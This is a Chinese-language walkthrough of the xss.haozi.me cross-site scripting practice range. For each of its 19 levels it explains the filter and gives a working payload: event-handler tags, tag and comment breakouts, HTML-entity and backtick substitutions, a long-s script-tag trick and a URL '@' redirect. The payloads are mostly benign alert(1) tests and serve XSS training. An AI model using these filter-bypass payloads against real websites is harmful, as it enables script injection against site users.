xss.haozi靶场练习记录

题目链接:https://xss.haozi.me

该靶场是部署在github上的一个项目,通关条件为弹出两个小人击掌的图片即为通关(单纯弹出弹窗是不属于通关的)

0x00

第一关没啥要点,xss入门基础

payload

<img src="x" onerror="alert(1)">


0x01

从server code和下面输出的html可以看出输入的内容被插入到<textarea></textarea>中,在输入的payload前面加上<textarea>对该标签进行闭合

payload

</textarea><img src="x" onerror="alert(1)">


 0x02

这个原理和0x01差不多,输入的内容被插入到value中,加上">对该标签进行闭合

payload

"><img src="x" onerror="alert(1)">


0x03 

通过server code可以看到该题把()给过滤了,这里可以通过 ` 反引号对输入的()进行替换

payload

<img src="x" onerror="alert`1`">


0x04

通过server code可以看到这道题不仅把()给过滤了,而且反引号也过滤,所以该题思路为将alert(1)中(1)替换为HTML实体

payload

<img src="x" onerror="alert&#40;1&#41;">


0x05 

通过server code可以看到,该题将我们输入的内容利用<!--  -->进行闭合,我们可以利用这个在输入前--!>对其进行闭合

payload

--!><img src="x" onerror="alert(1)">


 0x06

这道题是将我们输入的内容插入input的标签中,我们可以在其加入图片标签使其弹窗,要主要alert(1)要隔行,否则会使onerror被过滤

payload

type=image src="x" onerror
="alert(1)"


0x07 

这道题是过滤了开头和结尾的/<\/?[^>]符号,我们可以通过在结尾少输入>来绕过该正则

payload

<img src="x" onerror="alert(1)"


0x08

通过server code可以看到这道题把<style>标签来进行过滤,可以在前面加个</style>再换行对其进行绕过

payload

</style
><img src="x" onerror="alert(1)">

 


0x09

这道题需要前面输入一个指定的URL,没有对输入有任何过滤

payload

https://www.segmentfault.com><img src="x" onerror="alert(1)">


0x0A

这道题刚开始毫无头绪,看了看大佬写的题解,得知这道题用了一个知识点@,就是但你在网址栏上输入www.baidu.com@www.bilibili.com时,会跳转到b站而不是跳转到百度,这一个利用作者在他的网站写的JS来解题,但是在测试了几大浏览器后,发现该题只有firefox能够成功弹出图片

payload

https://www.segmentfault.com@xss.haozi.me/j.js


0x0B

该题是将我们输入的字符全部转化为大写,JS需要区分大小写,所以我们将该题输入内容转化为HTML实体字符

payload

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">


0x0C

该题是在上一题的基础上增加了<script>过滤,不过对我这种写法没有任何影响

payload

<img src="任意图片名" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">


0x0D

这道题是将输入内容带入到了注释中,可以用换行逃逸,把第一行空开,由于过滤了单引号',所以后面的')可以用-->注释掉

payload


alert(1);
-->

0x0E

这道题是匹配了所有<与字母的组合,将标签里的第一个字母前加上下划线_,并且在h1标签里,作者的想法是用阿拉伯字母ſ替换s的大写,该题我是用edge浏览器成功跳出弹窗

payload

<ſcript src="https://xss.haozi.me/j.js"></script>


0x0F

这道题可以通过server code看出,他将我们输入的内容插入<img src οnerrοr="console.error('${escapeHtml(input)}')">中,我们可以将前面和后面的注释掉

payload

');
alert(1)
('


0x10 

这道题也没啥好说的,没有任何过滤,直接输入alert(1)就可以了

payload

alert(1)


0x11

这道题和0x0F差不多,前后注释掉

payload

");alert(1);//


0x12

这道题通过server code可以看到由于"被替换成了\\,所以要用\对其进行转义

payload

\");alert(1);//

 总体来说该靶场还是属于比较简单的,适合新生入门xss

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值